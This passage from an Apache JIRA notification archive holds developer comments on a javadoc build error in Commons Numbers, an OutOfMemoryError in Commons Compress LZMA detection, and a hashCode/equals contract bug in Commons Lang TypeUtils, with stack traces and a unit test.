[jira] [Commented] (NUMBERS-23) mvn site won't compile due to javascript error
[ https://issues.apache.org/jira/browse/NUMBERS-23?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979773#comment-15979773 ] Bruno P. Kinoshita commented on NUMBERS-23: --- Issue https://issues.apache.org/jira/browse/NUMBERS-24 created to track the logo proposal [~erans] Feel free to throw any suggestions or observations for the logo there :-) > mvn site won't compile due to javascript error > -- > > Key: NUMBERS-23 > URL: https://issues.apache.org/jira/browse/NUMBERS-23 > Project: Commons Numbers > Issue Type: Bug >Affects Versions: 1.0 >Reporter: Eric Barnhill >Assignee: Bruno P. Kinoshita > Attachments: commons-numbers-site-20170422-fullpage.png > > > mvn site fails with the following error. This error appears to apply to > either the entire commons-numbers site or the commons-numbers-complex subsite > Exit code: 1 - javadoc: error - Argument for -header contains JavaScript. > Use --allow-script-in-comments to allow use of JavaScript. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Created] (NUMBERS-24) Create logo for Apache Commons Numbers
Bruno P. Kinoshita created NUMBERS-24: - Summary: Create logo for Apache Commons Numbers Key: NUMBERS-24 URL: https://issues.apache.org/jira/browse/NUMBERS-24 Project: Commons Numbers Issue Type: Improvement Reporter: Bruno P. Kinoshita Priority: Minor Fix For: 1.0 The project currently has no logo. There is a Commons Math logo in the project site resources folder, that needs to be replaced by a new original logo. See https://www.apache.org/foundation/marks/pmcs for trademark notes too. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Commented] (NUMBERS-23) mvn site won't compile due to javascript error
[ https://issues.apache.org/jira/browse/NUMBERS-23?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979631#comment-15979631 ] Gilles commented on NUMBERS-23: --- I was fixing at the same time... About the logo: another report is welcome. And a logo proposal. ;-) > mvn site won't compile due to javascript error > -- > > Key: NUMBERS-23 > URL: https://issues.apache.org/jira/browse/NUMBERS-23 > Project: Commons Numbers > Issue Type: Bug >Affects Versions: 1.0 >Reporter: Eric Barnhill >Assignee: Bruno P. Kinoshita > Attachments: commons-numbers-site-20170422-fullpage.png > > > mvn site fails with the following error. This error appears to apply to > either the entire commons-numbers site or the commons-numbers-complex subsite > Exit code: 1 - javadoc: error - Argument for -header contains JavaScript. > Use --allow-script-in-comments to allow use of JavaScript. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Updated] (NUMBERS-23) mvn site won't compile due to javascript error
[ https://issues.apache.org/jira/browse/NUMBERS-23?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Bruno P. Kinoshita updated NUMBERS-23: -- Affects Version/s: 1.0 > mvn site won't compile due to javascript error > -- > > Key: NUMBERS-23 > URL: https://issues.apache.org/jira/browse/NUMBERS-23 > Project: Commons Numbers > Issue Type: Bug >Affects Versions: 1.0 >Reporter: Eric Barnhill >Assignee: Bruno P. Kinoshita > Attachments: commons-numbers-site-20170422-fullpage.png > > > mvn site fails with the following error. This error appears to apply to > either the entire commons-numbers site or the commons-numbers-complex subsite > Exit code: 1 - javadoc: error - Argument for -header contains JavaScript. > Use --allow-script-in-comments to allow use of JavaScript. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Resolved] (NUMBERS-23) mvn site won't compile due to javascript error
[ https://issues.apache.org/jira/browse/NUMBERS-23?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Bruno P. Kinoshita resolved NUMBERS-23. --- Resolution: Fixed > mvn site won't compile due to javascript error > -- > > Key: NUMBERS-23 > URL: https://issues.apache.org/jira/browse/NUMBERS-23 > Project: Commons Numbers > Issue Type: Bug >Reporter: Eric Barnhill >Assignee: Bruno P. Kinoshita > Attachments: commons-numbers-site-20170422-fullpage.png > > > mvn site fails with the following error. This error appears to apply to > either the entire commons-numbers site or the commons-numbers-complex subsite > Exit code: 1 - javadoc: error - Argument for -header contains JavaScript. > Use --allow-script-in-comments to allow use of JavaScript. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Commented] (NUMBERS-23) mvn site won't compile due to javascript error
[ https://issues.apache.org/jira/browse/NUMBERS-23?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979614#comment-15979614 ] Bruno P. Kinoshita commented on NUMBERS-23: --- Actually, I believe there is no logo for Commons Numbers yet? We probably want to remove math.gif from the project site source, and upload the appropriate logo. > mvn site won't compile due to javascript error > -- > > Key: NUMBERS-23 > URL: https://issues.apache.org/jira/browse/NUMBERS-23 > Project: Commons Numbers > Issue Type: Bug >Reporter: Eric Barnhill >Assignee: Bruno P. Kinoshita > Attachments: commons-numbers-site-20170422-fullpage.png > > > mvn site fails with the following error. This error appears to apply to > either the entire commons-numbers site or the commons-numbers-complex subsite > Exit code: 1 - javadoc: error - Argument for -header contains JavaScript. > Use --allow-script-in-comments to allow use of JavaScript. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Updated] (NUMBERS-23) mvn site won't compile due to javascript error
[ https://issues.apache.org/jira/browse/NUMBERS-23?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Bruno P. Kinoshita updated NUMBERS-23: -- Attachment: commons-numbers-site-20170422-fullpage.png Attached commons-number-site-20170422-fullpage.png to show what the locally generated site looks like after the fix. > mvn site won't compile due to javascript error > -- > > Key: NUMBERS-23 > URL: https://issues.apache.org/jira/browse/NUMBERS-23 > Project: Commons Numbers > Issue Type: Bug >Reporter: Eric Barnhill >Assignee: Bruno P. Kinoshita > Attachments: commons-numbers-site-20170422-fullpage.png > > > mvn site fails with the following error. This error appears to apply to > either the entire commons-numbers site or the commons-numbers-complex subsite > Exit code: 1 - javadoc: error - Argument for -header contains JavaScript. > Use --allow-script-in-comments to allow use of JavaScript. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Comment Edited] (NUMBERS-23) mvn site won't compile due to javascript error
[
https://issues.apache.org/jira/browse/NUMBERS-23?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979611#comment-15979611
]
Bruno P. Kinoshita edited comment on NUMBERS-23 at 4/21/17 11:47 PM:
-
Successfully reproduced the issue in my local environment:
{noformat}
Apache Maven 3.3.9 (bb52d8502b132ec0a5a3f4c09453c07478323dc5;
2015-11-11T05:41:47+13:00)
Maven home: /opt/maven
Java version: 1.8.0_121, vendor: Oracle Corporation
Java home: /usr/lib/jvm/java-8-oracle/jre
Default locale: en_US, platform encoding: UTF-8
OS name: "linux", version: "4.4.0-72-generic", arch: "amd64", family: "unix"
{noformat}
Fixed by adding the --allow-script-in-comments. In the top level module's
pom.xml we were using JavaScript, which is not enabled by default (see report
about [undocumented change in the
API|http://mail.openjdk.java.net/pipermail/javadoc-dev/2017-January/000281.html]).
The mvn site command still failed due to invalid HTML format (we can't wrap UL
tags with P tags... see [this SO answer for complete
explanation|http://stackoverflow.com/a/5681796]).
Also noticed that the project Logo was missing, so fixed the URL as well, and
added the changes.xml entry.
Cheers
Bruno
was (Author: kinow):
Successfully reproduced the issue in my local environment:
{noformat}
Apache Maven 3.3.9 (bb52d8502b132ec0a5a3f4c09453c07478323dc5;
2015-11-11T05:41:47+13:00)
Maven home: /opt/maven
Java version: 1.8.0_121, vendor: Oracle Corporation
Java home: /usr/lib/jvm/java-8-oracle/jre
Default locale: en_US, platform encoding: UTF-8
OS name: "linux", version: "4.4.0-72-generic", arch: "amd64", family: "unix"
{noformat}
Fixed by adding the --allow-script-in-comments. In the top level module's
pom.xml we were using JavaScript, which is not enabled by default (see report
about [undocumented change in the
API|http://mail.openjdk.java.net/pipermail/javadoc-dev/2017-January/000281.html]).
Also noticed that the project Logo was missing, so fixed the URL as well, and
added the changes.xml entry.
Cheers
Bruno
> mvn site won't compile due to javascript error
> --
>
> Key: NUMBERS-23
> URL: https://issues.apache.org/jira/browse/NUMBERS-23
> Project: Commons Numbers
> Issue Type: Bug
>Reporter: Eric Barnhill
>Assignee: Bruno P. Kinoshita
>
> mvn site fails with the following error. This error appears to apply to
> either the entire commons-numbers site or the commons-numbers-complex subsite
> Exit code: 1 - javadoc: error - Argument for -header contains JavaScript.
> Use --allow-script-in-comments to allow use of JavaScript.
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Comment Edited] (NUMBERS-23) mvn site won't compile due to javascript error
[
https://issues.apache.org/jira/browse/NUMBERS-23?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979611#comment-15979611
]
Bruno P. Kinoshita edited comment on NUMBERS-23 at 4/21/17 11:48 PM:
-
Successfully reproduced the issue in my local environment:
{noformat}
Apache Maven 3.3.9 (bb52d8502b132ec0a5a3f4c09453c07478323dc5;
2015-11-11T05:41:47+13:00)
Maven home: /opt/maven
Java version: 1.8.0_121, vendor: Oracle Corporation
Java home: /usr/lib/jvm/java-8-oracle/jre
Default locale: en_US, platform encoding: UTF-8
OS name: "linux", version: "4.4.0-72-generic", arch: "amd64", family: "unix"
{noformat}
Fixed by adding the --allow-script-in-comments. In the top level module's
pom.xml we were using JavaScript, which is not enabled by default (see report
about [undocumented change in the
API|http://mail.openjdk.java.net/pipermail/javadoc-dev/2017-January/000281.html]).
The mvn site command still failed due to invalid HTML format (we can't wrap UL
tags with P tags... see [this SO answer for complete
explanation|http://stackoverflow.com/a/5681796]). Fixed in master branch.
Also noticed that the project Logo was missing, so fixed the URL as well, and
added the changes.xml entry.
Cheers
Bruno
was (Author: kinow):
Successfully reproduced the issue in my local environment:
{noformat}
Apache Maven 3.3.9 (bb52d8502b132ec0a5a3f4c09453c07478323dc5;
2015-11-11T05:41:47+13:00)
Maven home: /opt/maven
Java version: 1.8.0_121, vendor: Oracle Corporation
Java home: /usr/lib/jvm/java-8-oracle/jre
Default locale: en_US, platform encoding: UTF-8
OS name: "linux", version: "4.4.0-72-generic", arch: "amd64", family: "unix"
{noformat}
Fixed by adding the --allow-script-in-comments. In the top level module's
pom.xml we were using JavaScript, which is not enabled by default (see report
about [undocumented change in the
API|http://mail.openjdk.java.net/pipermail/javadoc-dev/2017-January/000281.html]).
The mvn site command still failed due to invalid HTML format (we can't wrap UL
tags with P tags... see [this SO answer for complete
explanation|http://stackoverflow.com/a/5681796]).
Also noticed that the project Logo was missing, so fixed the URL as well, and
added the changes.xml entry.
Cheers
Bruno
> mvn site won't compile due to javascript error
> --
>
> Key: NUMBERS-23
> URL: https://issues.apache.org/jira/browse/NUMBERS-23
> Project: Commons Numbers
> Issue Type: Bug
>Reporter: Eric Barnhill
>Assignee: Bruno P. Kinoshita
>
> mvn site fails with the following error. This error appears to apply to
> either the entire commons-numbers site or the commons-numbers-complex subsite
> Exit code: 1 - javadoc: error - Argument for -header contains JavaScript.
> Use --allow-script-in-comments to allow use of JavaScript.
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Commented] (NUMBERS-23) mvn site won't compile due to javascript error
[
https://issues.apache.org/jira/browse/NUMBERS-23?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979611#comment-15979611
]
Bruno P. Kinoshita commented on NUMBERS-23:
---
Successfully reproduced the issue in my local environment:
{noformat}
Apache Maven 3.3.9 (bb52d8502b132ec0a5a3f4c09453c07478323dc5;
2015-11-11T05:41:47+13:00)
Maven home: /opt/maven
Java version: 1.8.0_121, vendor: Oracle Corporation
Java home: /usr/lib/jvm/java-8-oracle/jre
Default locale: en_US, platform encoding: UTF-8
OS name: "linux", version: "4.4.0-72-generic", arch: "amd64", family: "unix"
{noformat}
Fixed by adding the --allow-script-in-comments. In the top level module's
pom.xml we were using JavaScript, which is not enabled by default (see report
about [undocumented change in the
API|http://mail.openjdk.java.net/pipermail/javadoc-dev/2017-January/000281.html]).
Also noticed that the project Logo was missing, so fixed the URL as well, and
added the changes.xml entry.
Cheers
Bruno
> mvn site won't compile due to javascript error
> --
>
> Key: NUMBERS-23
> URL: https://issues.apache.org/jira/browse/NUMBERS-23
> Project: Commons Numbers
> Issue Type: Bug
>Reporter: Eric Barnhill
>Assignee: Bruno P. Kinoshita
>
> mvn site fails with the following error. This error appears to apply to
> either the entire commons-numbers site or the commons-numbers-complex subsite
> Exit code: 1 - javadoc: error - Argument for -header contains JavaScript.
> Use --allow-script-in-comments to allow use of JavaScript.
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Updated] (NUMBERS-23) mvn site won't compile due to javascript error
[ https://issues.apache.org/jira/browse/NUMBERS-23?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Bruno P. Kinoshita updated NUMBERS-23: -- Assignee: Bruno P. Kinoshita > mvn site won't compile due to javascript error > -- > > Key: NUMBERS-23 > URL: https://issues.apache.org/jira/browse/NUMBERS-23 > Project: Commons Numbers > Issue Type: Bug >Reporter: Eric Barnhill >Assignee: Bruno P. Kinoshita > > mvn site fails with the following error. This error appears to apply to > either the entire commons-numbers site or the commons-numbers-complex subsite > Exit code: 1 - javadoc: error - Argument for -header contains JavaScript. > Use --allow-script-in-comments to allow use of JavaScript. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Commented] (COMPRESS-382) OutOfMemoryError from CompressorStreamFactory
[
https://issues.apache.org/jira/browse/COMPRESS-382?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979571#comment-15979571
]
Tim Allison commented on COMPRESS-382:
--
The PR now covers both COMPRESS-382 and COMPRESS-386. I thought it useful to
add both to assure some uniformity.
The one part that I don't like is the IOException that wraps a memory limit
exception in ZCompressorInputStream. I felt this was necessary so that we
didn't change the exception signature of ZCompressorInputStream.
Any recommendations?
> OutOfMemoryError from CompressorStreamFactory
> -
>
> Key: COMPRESS-382
> URL: https://issues.apache.org/jira/browse/COMPRESS-382
> Project: Commons Compress
> Issue Type: Bug
> Components: Compressors
>Affects Versions: 1.10, 1.11, 1.12
> Environment: Windows7, jre1.8.0_101 x64
>Reporter: Luis Filipe Nassif
> Attachments: data.mui
>
>
> While using Tika-1.14 to detect file types, the attached 1KB file triggered
> an OOME with 1GB heap. Tika calls
> CompressorStreamFactory.createCompressorInputStream(in) to detect if the file
> is a compressor stream, but CompressorStreamFactory erroneously detects it as
> a LZMACompressorInputStream and when the LZMACompressorInputStream is
> instanciated the OOME is thrown. This error does not happen with
> commons-compress versions prior to 1.10, when auto detecting LZMA streams was
> added. OOME stacktrace below:
> {code}
> Caused by: java.lang.OutOfMemoryError: Java heap space
> at org.tukaani.xz.lz.LZDecoder.(Unknown Source) ~[xz-1.5.jar:1.5]
> at org.tukaani.xz.LZMAInputStream.initialize(Unknown Source)
> ~[xz-1.5.jar:1.5]
> at org.tukaani.xz.LZMAInputStream.initialize(Unknown Source)
> ~[xz-1.5.jar:1.5]
> at org.tukaani.xz.LZMAInputStream.(Unknown Source)
> ~[xz-1.5.jar:1.5]
> at org.tukaani.xz.LZMAInputStream.(Unknown Source)
> ~[xz-1.5.jar:1.5]
> at
> org.apache.commons.compress.compressors.lzma.LZMACompressorInputStream.(LZMACompressorInputStream.java:48)
> ~[commons-compress-1.10.jar:1.10]
> at
> org.apache.commons.compress.compressors.CompressorStreamFactory.createCompressorInputStream(CompressorStreamFactory.java:251)
> ~[commons-compress-1.10.jar:1.10]
> at
> org.apache.tika.parser.pkg.ZipContainerDetector.detectCompressorFormat(ZipContainerDetector.java:109)
> ~[tika-parsers-1.14.jar:1.14]
> at
> org.apache.tika.parser.pkg.ZipContainerDetector.detect(ZipContainerDetector.java:95)
> ~[tika-parsers-1.14.jar:1.14]
> at
> org.apache.tika.detect.CompositeDetector.detect(CompositeDetector.java:77)
> ~[tika-core-1.14.jar:1.14]
> at
> dpf.sp.gpinf.indexer.process.task.SignatureTask.process(SignatureTask.java:50)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.processMonitorTimeout(AbstractTask.java:203)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.processAndSendToNextTask(AbstractTask.java:152)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.sendToNextTask(AbstractTask.java:190)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.processAndSendToNextTask(AbstractTask.java:160)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.sendToNextTask(AbstractTask.java:190)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.processAndSendToNextTask(AbstractTask.java:160)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.sendToNextTask(AbstractTask.java:190)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.processAndSendToNextTask(AbstractTask.java:160)
> ~[iped.jar:?]
> at dpf.sp.gpinf.indexer.process.Worker.process(Worker.java:174)
> ~[iped.jar:?]
> ... 1 more
> {code}
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Commented] (LANG-1323) Type implementations in TypeUtils compute hash code that breaks Object.equals() with Sun's OpenJDK
[
https://issues.apache.org/jira/browse/LANG-1323?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979569#comment-15979569
]
Sebb commented on LANG-1323:
I see what you mean now.
It seems that there are additional equals/hashCode requirements for instances
of the Type interface hierarchy which go beyond the normal equals/hashCode
contract.
Unfortunately the requirements don't appear to be fully documented.
The ParameterizedType Javadoc specifies how the equals() method is to be
implemented, but it does not say anything about the hashCode requirements.
The variables to be compared are known, so the equals() method is easily
written from the Javadoc.
However there are potentially multiple ways to derive the hashCode.
I don't see how it's possible to code alternate implementations from the
Javadoc alone.
So it looks to me as though the Javadoc is incomplete.
If the OpenJDK source were not available it would be impossible to implement an
object that conforms to the ParameterizedType Javadoc and the equals/hashCode
contract.
> Type implementations in TypeUtils compute hash code that breaks
> Object.equals() with Sun's OpenJDK
> --
>
> Key: LANG-1323
> URL: https://issues.apache.org/jira/browse/LANG-1323
> Project: Commons Lang
> Issue Type: Bug
> Components: lang.reflect.*
>Affects Versions: 3.2, 3.5
> Environment: Sun OpenJDK
>Reporter: Scott Kilpatrick
>Priority: Minor
>
> {{TypeUtils}} in {{lang.reflect}} provides convenient methods for creating
> objects of the interface {{Type}}. Those objects are defined by the following
> classes:
> * ParameterizedTypeImpl (implements {{ParameterizedType}})
> * WildcardTypeImpl (implements {{WildcardType}})
> * GenericArrayTypeImpl (implements {{GenericArrayType}})
> Similarly, there are corresponding classes, which implement the same
> interfaces, defined in one's particular JDK. And it's these latter classes
> that are instantiated when you get objects of type {{Type}} via reflection.
> Let's call these the "internal {{Type}} implementations." In the case of
> Sun's OpenJDK, [they are
> defined|http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/reflect/generics/reflectiveObjects]
> in package {{sun.reflect.generics.reflectiveObjects}}.
> Each of the {{TypeUtils}} classes implements {{Object.equals(Object)}} in a
> general way that's compatible with the internal {{Type}} implementations. For
> example, if I access a field declared with type {{Map}} and
> get its generic type, via {{Field.getGenericType()}}, then that will be equal
> to the {{TypeUtils}} object returned by:
> {code:java}
> TypeUtils.parameterize(Map.class, String.class, Integer.class)
> {code}
> That's what I'd expect, so that's great.
> However, the {{TypeUtils}} classes implement their {{Object.hashCode()}}
> method in a _different_ way from the corresponding implementations in Sun
> OpenJDK implementations. That's not so surprising, _but it breaks the
> contract of {{Object.hashCode()}}_:
> bq. If two objects are equal according to the {{equals(Object)}} method, then
> calling the {{hashCode}} method on each of the two objects must produce the
> same integer result.
> In other words, the two {{Type}} objects above will both consider themselves
> {{equals}} to each other, but they have different hash codes.
> One example of a negative consequence of this problem is a collection class
> that implements its equality (to other collections) by checking hash codes of
> its elements, e.g., Guava's immutable collections. If you have {{Type}}
> objects in those collections, with {{TypeUtils}} {{Type}} objects in {{c1}}
> and Sun OpenJDK {{Type}} objects in {{c2}}, you will see that
> {{c1.equals(c2)}} returns {{false}} -- because their elements don't all have
> the same hash codes -- even though those elements are all considered equal.
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Commented] (COMPRESS-382) OutOfMemoryError from CompressorStreamFactory
[
https://issues.apache.org/jira/browse/COMPRESS-382?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979567#comment-15979567
]
ASF GitHub Bot commented on COMPRESS-382:
-
Github user coveralls commented on the issue:
https://github.com/apache/commons-compress/pull/20
[](https://coveralls.io/builds/11191052)
Coverage increased (+0.2%) to 84.437% when pulling
**7d73baf10e435fcaa4927495afc185fb473c416b on tballison:COMPRESS-382** into
**13a039029ca7d7fca9862cfb792f7148c555f05f on apache:master**.
> OutOfMemoryError from CompressorStreamFactory
> -
>
> Key: COMPRESS-382
> URL: https://issues.apache.org/jira/browse/COMPRESS-382
> Project: Commons Compress
> Issue Type: Bug
> Components: Compressors
>Affects Versions: 1.10, 1.11, 1.12
> Environment: Windows7, jre1.8.0_101 x64
>Reporter: Luis Filipe Nassif
> Attachments: data.mui
>
>
> While using Tika-1.14 to detect file types, the attached 1KB file triggered
> an OOME with 1GB heap. Tika calls
> CompressorStreamFactory.createCompressorInputStream(in) to detect if the file
> is a compressor stream, but CompressorStreamFactory erroneously detects it as
> a LZMACompressorInputStream and when the LZMACompressorInputStream is
> instanciated the OOME is thrown. This error does not happen with
> commons-compress versions prior to 1.10, when auto detecting LZMA streams was
> added. OOME stacktrace below:
> {code}
> Caused by: java.lang.OutOfMemoryError: Java heap space
> at org.tukaani.xz.lz.LZDecoder.(Unknown Source) ~[xz-1.5.jar:1.5]
> at org.tukaani.xz.LZMAInputStream.initialize(Unknown Source)
> ~[xz-1.5.jar:1.5]
> at org.tukaani.xz.LZMAInputStream.initialize(Unknown Source)
> ~[xz-1.5.jar:1.5]
> at org.tukaani.xz.LZMAInputStream.(Unknown Source)
> ~[xz-1.5.jar:1.5]
> at org.tukaani.xz.LZMAInputStream.(Unknown Source)
> ~[xz-1.5.jar:1.5]
> at
> org.apache.commons.compress.compressors.lzma.LZMACompressorInputStream.(LZMACompressorInputStream.java:48)
> ~[commons-compress-1.10.jar:1.10]
> at
> org.apache.commons.compress.compressors.CompressorStreamFactory.createCompressorInputStream(CompressorStreamFactory.java:251)
> ~[commons-compress-1.10.jar:1.10]
> at
> org.apache.tika.parser.pkg.ZipContainerDetector.detectCompressorFormat(ZipContainerDetector.java:109)
> ~[tika-parsers-1.14.jar:1.14]
> at
> org.apache.tika.parser.pkg.ZipContainerDetector.detect(ZipContainerDetector.java:95)
> ~[tika-parsers-1.14.jar:1.14]
> at
> org.apache.tika.detect.CompositeDetector.detect(CompositeDetector.java:77)
> ~[tika-core-1.14.jar:1.14]
> at
> dpf.sp.gpinf.indexer.process.task.SignatureTask.process(SignatureTask.java:50)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.processMonitorTimeout(AbstractTask.java:203)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.processAndSendToNextTask(AbstractTask.java:152)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.sendToNextTask(AbstractTask.java:190)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.processAndSendToNextTask(AbstractTask.java:160)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.sendToNextTask(AbstractTask.java:190)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.processAndSendToNextTask(AbstractTask.java:160)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.sendToNextTask(AbstractTask.java:190)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.processAndSendToNextTask(AbstractTask.java:160)
> ~[iped.jar:?]
> at dpf.sp.gpinf.indexer.process.Worker.process(Worker.java:174)
> ~[iped.jar:?]
> ... 1 more
> {code}
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Commented] (COMPRESS-382) OutOfMemoryError from CompressorStreamFactory
[
https://issues.apache.org/jira/browse/COMPRESS-382?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979566#comment-15979566
]
ASF GitHub Bot commented on COMPRESS-382:
-
Github user coveralls commented on the issue:
https://github.com/apache/commons-compress/pull/20
[](https://coveralls.io/builds/11191052)
Coverage increased (+0.2%) to 84.437% when pulling
**7d73baf10e435fcaa4927495afc185fb473c416b on tballison:COMPRESS-382** into
**13a039029ca7d7fca9862cfb792f7148c555f05f on apache:master**.
> OutOfMemoryError from CompressorStreamFactory
> -
>
> Key: COMPRESS-382
> URL: https://issues.apache.org/jira/browse/COMPRESS-382
> Project: Commons Compress
> Issue Type: Bug
> Components: Compressors
>Affects Versions: 1.10, 1.11, 1.12
> Environment: Windows7, jre1.8.0_101 x64
>Reporter: Luis Filipe Nassif
> Attachments: data.mui
>
>
> While using Tika-1.14 to detect file types, the attached 1KB file triggered
> an OOME with 1GB heap. Tika calls
> CompressorStreamFactory.createCompressorInputStream(in) to detect if the file
> is a compressor stream, but CompressorStreamFactory erroneously detects it as
> a LZMACompressorInputStream and when the LZMACompressorInputStream is
> instanciated the OOME is thrown. This error does not happen with
> commons-compress versions prior to 1.10, when auto detecting LZMA streams was
> added. OOME stacktrace below:
> {code}
> Caused by: java.lang.OutOfMemoryError: Java heap space
> at org.tukaani.xz.lz.LZDecoder.(Unknown Source) ~[xz-1.5.jar:1.5]
> at org.tukaani.xz.LZMAInputStream.initialize(Unknown Source)
> ~[xz-1.5.jar:1.5]
> at org.tukaani.xz.LZMAInputStream.initialize(Unknown Source)
> ~[xz-1.5.jar:1.5]
> at org.tukaani.xz.LZMAInputStream.(Unknown Source)
> ~[xz-1.5.jar:1.5]
> at org.tukaani.xz.LZMAInputStream.(Unknown Source)
> ~[xz-1.5.jar:1.5]
> at
> org.apache.commons.compress.compressors.lzma.LZMACompressorInputStream.(LZMACompressorInputStream.java:48)
> ~[commons-compress-1.10.jar:1.10]
> at
> org.apache.commons.compress.compressors.CompressorStreamFactory.createCompressorInputStream(CompressorStreamFactory.java:251)
> ~[commons-compress-1.10.jar:1.10]
> at
> org.apache.tika.parser.pkg.ZipContainerDetector.detectCompressorFormat(ZipContainerDetector.java:109)
> ~[tika-parsers-1.14.jar:1.14]
> at
> org.apache.tika.parser.pkg.ZipContainerDetector.detect(ZipContainerDetector.java:95)
> ~[tika-parsers-1.14.jar:1.14]
> at
> org.apache.tika.detect.CompositeDetector.detect(CompositeDetector.java:77)
> ~[tika-core-1.14.jar:1.14]
> at
> dpf.sp.gpinf.indexer.process.task.SignatureTask.process(SignatureTask.java:50)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.processMonitorTimeout(AbstractTask.java:203)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.processAndSendToNextTask(AbstractTask.java:152)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.sendToNextTask(AbstractTask.java:190)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.processAndSendToNextTask(AbstractTask.java:160)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.sendToNextTask(AbstractTask.java:190)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.processAndSendToNextTask(AbstractTask.java:160)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.sendToNextTask(AbstractTask.java:190)
> ~[iped.jar:?]
> at
> dpf.sp.gpinf.indexer.process.task.AbstractTask.processAndSendToNextTask(AbstractTask.java:160)
> ~[iped.jar:?]
> at dpf.sp.gpinf.indexer.process.Worker.process(Worker.java:174)
> ~[iped.jar:?]
> ... 1 more
> {code}
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Comment Edited] (LANG-1323) Type implementations in TypeUtils compute hash code that breaks Object.equals() with Sun's OpenJDK
[
https://issues.apache.org/jira/browse/LANG-1323?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979471#comment-15979471
]
Scott Kilpatrick edited comment on LANG-1323 at 4/21/17 10:10 PM:
--
The Guava stuff was just an _additional example_ of a sneaky manifestation of
the bug; it's not crucial to the bug. Sorry to have included more than
necessary in that example.
For posterity, here's the example demonstrating the broken contract, without
the additional broken use case: (EDIT: rewritten to clarify that an assertion
fails, whereas previously it was written such that they pass)
{code:java}
static class OneField {
Map f;
}
@Test
public void testOfBrokenContract() throws NoSuchFieldException
{
// An object of class
sun.reflect.generics.reflectiveObjects.ParameterizedTypeImpl
final Type openJdkType =
OneField.class.getDeclaredField("f").getGenericType();
// An object of class
org.apache.commons.lang3.reflect.TypeUtils.ParameterizedTypeImpl
final Type apacheType = TypeUtils.parameterize(Map.class, String.class,
Integer.class);
// These two objects are equal...
Assert.assertTrue(openJdkType.equals(apacheType));
Assert.assertTrue(apacheType.equals(openJdkType));
// ... so their hash codes should be the same. But this assertion fails.
Assert.assertTrue(openJdkType.hashCode() == apacheType.hashCode());
}
{code}
was (Author: skilpat):
The Guava stuff was just an _additional example_ of a sneaky manifestation of
the bug; it's not crucial to the bug. Sorry to have included more than
necessary in that example.
For posterity, here's the example demonstrating the broken contract, without
the additional broken use case:
{code:java}
static class OneField {
Map f;
}
@Test
public void testOfBrokenContract() throws NoSuchFieldException
{
// An object of class
sun.reflect.generics.reflectiveObjects.ParameterizedTypeImpl
final Type openJdkType =
OneField.class.getDeclaredField("f").getGenericType();
// An object of class
